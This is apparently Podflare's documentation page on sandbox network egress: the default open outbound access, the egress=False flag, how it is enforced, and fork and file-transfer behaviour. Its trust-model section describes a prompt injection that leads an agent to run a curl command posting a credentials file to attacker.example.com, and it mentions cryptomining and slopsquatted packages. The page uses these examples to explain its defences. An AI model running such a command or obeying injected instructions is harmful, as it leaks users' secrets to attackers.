> ## Documentation Index
> Fetch the complete documentation index at: https://docs.podflare.ai/llms.txt
> Use this file to discover all available pages before exploring further.

# Egress policy

> How Podflare sandboxes reach the outside network — and how to lock that down when you don't want them to.

<Note>
  **Default: open egress — no flag needed.** Every `Sandbox()` boots
  with an `eth0` interface, a DHCP-leased IP, and outbound NAT to the
  host's public IP. `pip install`, `npm install`, `git clone`,
  external API calls — all work the moment the sandbox is up.

  **Opt out with `egress=False`** only when you're running LLM-authored
  code you don't want reaching the internet (untrusted payloads,
  regulated workloads, exfiltration-sensitive contexts).
</Note>

## Open by default

```python theme={null}
from podflare import Sandbox

with Sandbox() as sb:                    # egress is on; no flag needed
    sb.run_code("pip install scikit-learn pandas requests", language="bash")
    sb.run_code("""
        import requests
        print(requests.get('https://api.github.com').status_code)
    """)
```

No configuration, no allowlist, no proxy. Standard outbound TCP/UDP on
standard ports. Outbound IP seen by external services is the host's
public IP — each sandbox NATs through the host's default interface.

### Verify egress in one line

The fastest reliable check is **Cloudflare's trace endpoint**. It
returns \~200 bytes of plaintext globally in 20–35 ms, never
rate-limits, and is up basically forever. Use it instead of
`example.com` (slow, IANA-throttled), `httpbin.org` (per-IP rate
limits), or `api.github.com` (DNS-cold first call):

```python theme={null}
with Sandbox() as sb:
    out = sb.run_code(
        "curl -sS https://cloudflare.com/cdn-cgi/trace",
        language="bash",
    )
    print(out.stdout)
    # fl=...
    # h=cloudflare.com
    # ip=<sandbox egress IP, the host's public IP>
    # ts=...
    # colo=SJC                ← which Cloudflare PoP answered
    # ...
```

That's also the target our internal benchmarks use for
[HTTP-outbound latency](/architecture/comparison) — typical p50 from a
Podflare sandbox is **15–30 ms**.

## `egress=False` — hardened sandbox

When the code inside the sandbox might try to exfiltrate data, mine
crypto, or do a supply-chain attack, block the internet at the tap
device:

```python theme={null}
from podflare import Sandbox

with Sandbox(egress=False) as sb:
    # eth0 is up inside the guest but every outbound packet dies
    # at the host. pip, git, curl all time out.
    sb.run_code(
        "curl -sS -m 5 https://cloudflare.com/cdn-cgi/trace || echo blocked"
    )
    # → blocked    (curl returns exit 28, our `||` kicks in)
```

TypeScript — same flag, same behavior:

```ts theme={null}
import { Sandbox } from "podflare";

const sb = await Sandbox.create({ egress: false });
await sb.runCode(
  "curl -sS -m 5 https://cloudflare.com/cdn-cgi/trace || echo blocked"
);
await sb.close();
```

### What happens under the hood

With `egress=True` (default):

1. hostd creates the per-VM tap device
2. Attaches the tap to the shared bridge `pfbr0`
3. Inside the VM, `eth0` gets a DHCP lease from the host
4. Outbound traffic NATs out via the host's default interface

With `egress=False`:

1. hostd creates the per-VM tap device
2. **Skips the bridge attach** — tap is up but has no L2 peer
3. Inside the VM, `eth0` still comes up with its snapshot-captured
   DHCP lease (valid for the rest of the 10 min lease window)
4. Outbound traffic hits the tap, goes nowhere, times out

The guest isn't lied to — `ip addr` shows eth0 with an IP. But nothing
routes. Packets silently drop at the host.

## Fork inherits the flag

Children inherit the parent's egress setting. A fork from an
egress-off parent has no network either:

```python theme={null}
with Sandbox(egress=False) as parent:
    children = parent.fork(n=3)
    for c in children:
        out = c.run_code(
            "curl -sS -m 2 https://cloudflare.com/cdn-cgi/trace 2>&1 | head -1"
        )
        print(out.stdout)  # all three: connection timeout
        c.close()
```

## Trust model

Open egress is the default because the vast majority of real agent
workloads need `pip install`, `git clone`, or external API calls to
be useful.

With open egress, the threat model is:

1. **Agent-authored code can reach the internet.** Prompt injection
   that asks the agent to `curl attacker.example.com -d @/data/creds`
   will actually work.
2. **Cryptomining is possible** if the agent decides to mine.
3. **Slopsquatted packages execute.** `pip install hallucinated-pkg`
   runs `setup.py` from whatever the attacker published.

**Podflare's security boundary is the microVM**, not the Linux
capabilities inside the guest. The VM can't escape to the host, can't
see other tenants, can't see your production. But inside the sandbox,
agent code has root and full network access unless you opt out.

If any of (1)–(3) matters for your workload — because the payload
might be adversarial, or because you've got regulatory constraints
around exfiltration — use `egress=False`. The flag flips instantly at
create time; no enterprise sales call needed.

## File transfer

`upload()` and `download()` go over the sandbox's control channel, not
over eth0. They work regardless of the `egress` setting — useful for
pushing data in and pulling artifacts out of an egress-off sandbox:

```python theme={null}
with Sandbox(egress=False) as sb:
    sb.upload(open("/local/model.bin", "rb").read(), "/tmp/model.bin")
    sb.run_code("""
        with open('/tmp/model.bin', 'rb') as f:
            size = len(f.read())
        print(f'got {size} bytes')
    """)
    result = sb.download("/tmp/output.json")
```

## When you want even more egress control

For regulated customers who need allowlisted outbound (e.g. only
`api.openai.com` and `pypi.org`, reject everything else), with
credential injection so the sandbox never sees real API keys — this
lands as an Enterprise feature. Contact [sales@podflare.ai](mailto:sales@podflare.ai).

## Today's summary

* `Sandbox()` → full outbound network. The default. What you want for
  agent workflows that need to install packages or call APIs.
* `Sandbox(egress=False)` → no outbound. eth0 exists but packets die
  at the host. For untrusted payloads.
* `Sandbox.fork()` → children inherit the parent's egress.
* `upload()` / `download()` → work regardless of egress.
